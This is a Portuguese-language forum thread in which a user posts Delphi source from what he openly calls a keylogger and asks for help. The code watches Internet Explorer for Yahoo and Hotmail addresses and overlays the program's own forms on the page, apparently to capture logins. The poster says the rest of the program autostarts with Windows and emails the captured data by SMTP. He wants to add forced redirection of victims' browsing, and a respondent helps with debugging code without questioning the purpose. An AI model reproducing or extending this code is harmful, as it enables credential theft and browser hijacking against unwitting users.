Ir para conteúdo
Fórum Script Brasil
  • 0

Como fazer redirecionamentos de URL?


Exceed

Pergunta

Pessoal, estou com uma source de um Keylogger com o seguinte código abaixo:

function TForm1.GetURL(Service: string): String;
var
ClDDE: TDDEClientConv;
temp:PChar;
begin
Result := '';
//create a new DDE Client object
ClDDE:= TDDEClientConv.Create( nil );
with ClDDE do
begin
SetLink(Service,'WWW_GetWindowInfo');
temp := RequestData('0xFFFFFFFF');
Result := StrPas(temp);
StrDispose(temp);
CloseLink;
end;
ClDDE.Free;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  S: Array[0..255] of Char;
  Text : String;
  Posicao : Integer;
begin
  text := GetURL('IExplore');
  GetWindowText(GetForeGroundWindow, S, SizeOf(S));
  Site := StrPas(S);
   //Yahoo
   if StrPos(PChar(text), PChar('http://www.yahoo.com.br')) <> nil then
   Begin
   sNome := 'yahoo';
   VerificaResulocao;
   end;
   //Hotmail
   if StrPos(PChar(text), PChar('http://www.hotmail.com')) <> nil then
   Begin
   sNome := 'hotmail';
   VerificaResulocao;
   end;
end;

procedure TForm1.ActiveForm(sTipo:string);
var
  hBody: HWND;
  lRetVal: integer;
begin
  Timer1.Enabled := False;
  hIE := GetForeGroundWindow;
  hBody := windows.FindWindowEx(hIE,0,'Shell DocObject View',0);
  try
  if sTipo = 'yahoo' then
  begin
  SetWindowText(hIE,'Yahoo - Microsoft Internet Explorer');
  frmYahoo := TfrmYahoo.Create(self);
  windows.SetParent(frmYahoo.Handle,hBody);
  frmYahoo.Height := 3000;
  frmYahoo.Width := 3000;
  frmYahoo.left := -4;
  frmYahoo.Top := 1;
  frmYahoo.show;
  end;
  if sTipo = 'hotmail' then
  begin
  SetWindowText(hIE,'Hotmail - Microsoft Internet Explorer');
  frmHotmail := TfrmHotmail.Create(self);
  windows.SetParent(frmHotmail.Handle,hBody);
  frmHotmail.Height := 47;
  frmHotmail.Width := 147;
  frmHotmail.left := 870;
  frmHotmail.Top := 2;
  frmHotmail.show;
  end;
  finally
  end;
end;

Esse Código basicamente faz com que ao digitar http://www.yahoo.com.br chame o form do yahoo e ao digitar http://hotmail.com chame o form do hotmail.

Só que eu quero que ao invés de chamar um form faça um redirecionamento de URL, por ex: ao digitar no browser http://www.yahoo.com.br e pressionar a tecla enter, eu seje redirecionado para o site http://www.google.com

Aí eu Gostaria de saber quais mudanças eu faço nesse código para tal feito?

Link para o comentário
Compartilhar em outros sites

8 respostass a esta questão

Posts Recomendados

  • 0
coloque o código completo para poder analisar

abraço

O código completo que identifica a URL e chama o Form está postado, o resto do código acredito eu que não tenha nada a ver, pois o resto do código é a parte que cria registro pra toda vez que for iniciazlizado o windows o programa ser execultado e o código de SMTP pra mandar os dados por e-mail.

Qual código você gostaria de ver?

Link para o comentário
Compartilhar em outros sites

  • 0

voce faz a chamada atraves do evento ActiveForm ? se for, porque esta finalizando o timer, já que é ele quem tem que verificar qual a url para fazer o redirecionamento.

Esse Código basicamente faz com que ao digitar http://www.yahoo.com.br chame o form do yahoo e ao digitar http://hotmail.com chame o form do hotmail.

onde voce esta digitando ?? no IE ( e qual é a versão que esta usando ? ) ou num campo do proprio form ?

qual sistema operacional ? qual a versão do seu delphi ? etc...

quanto mais informações voce puder dar, melhor fica para entender a sua lógica

abraço

Link para o comentário
Compartilhar em outros sites

  • 0

Vamos aos problemas:

Estou digitando no próprio browser no IE 8 e uso Win XP e Delphi 7

a partir do IE 7 existe uma diferença entre abrir < uma nova guia > e abrir < uma nova janela >

ao abrirem-se novas guias, o endereço que aparece no combobox do IE mostra apenas a guia ativa... nesse sentido se a guia ativa não estiver direcionada para o yahoo por exemplo, voce não conseguira encontrar o titulo da janela para poder redirecionar para outra url

no entanto, se voce tiver varias janelas ativas ( isso era padrão no IE 6 ) e sendo que uma delas estivesse direcionada para o yahoo, então seria possivel localizar o titulo dessa janela e fazer o redirecionamento para outra url

peço a voce que faça um teste usando o código abaixo para comprovar o que estou escrevendo

em um projeto novo, coloque um form e nesse form coloque um botão e um listbox

abra o IE 8 e abra somente novas guias e deixe uma das guias ativas ... ao executar o programa, voce verá no listbox todas as janelas ativas do windows

depois repita a teste, mas dessa vez abra novas janelas no IE 8 e veja o que aparece

function EnumWindowsProc(Wnd: HWnd; Form:TForm1): Boolean; Export; {$ifdef Win32} StdCall; {$endif}
var
 Buffer: Array[0..99] of Char;
begin
   GetWindowText(Wnd, Buffer, 100);

   if StrLen(Buffer)>0 then
      Form.ListBox1.Items.Add(StrPas(Buffer));

   Result :=true;

end;

procedure TForm1.Button1Click(Sender: TObject);
begin
   EnumWindows(@EnumWindowsProc, LongInt(Self));
end;
por isso o comando GetWindowText não vai encontrar a frase 'http://www.yahoo.com.br' se ela não estiver em uma janela ativa
text := GetURL('IExplore');
  GetWindowText(GetForeGroundWindow, S, SizeOf(S));
  Site := StrPas(S);
   //Yahoo
   if StrPos(PChar(text), PChar('http://www.yahoo.com.br')) <> nil then
   Begin

teriamos que estudar uma outra maneira de fazer isso

abraço

Link para o comentário
Compartilhar em outros sites

  • 0

Então o programa não conseguiu capturar as guias que não estavam ativas só a guia ativa ele capturou. E no caso de várias janelas ele conseguiu capturar todas as janelas.

Mais o que eu quero é o seguinte: quando o usuário for digitar http://google.com.br a guia no momento vai estar ativa e é nesse momento que eu quero que o programa redirecione automaticamente o usuário para outro link.

Outra coisa, teria como o programa capturar pela URL ao invéz do caption da Janela?

Desculpe as perguntas, mais eu não manja quase nada de Delphi.

Link para o comentário
Compartilhar em outros sites

  • 0

vi que voce tambem não conseguiu uma resposta satisfatoria do outro forum ( Active Delphi )

Outra coisa, teria como o programa capturar pela URL ao invéz do caption da Janela?

essa captura teria que ser feita de outra maneira.

assim que tiver um tempinho sobrando eu vejo o que pode ser feito .. ok ?

abraço

Link para o comentário
Compartilhar em outros sites

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,3k
    • Posts
      652,3k
×
×
  • Criar Novo...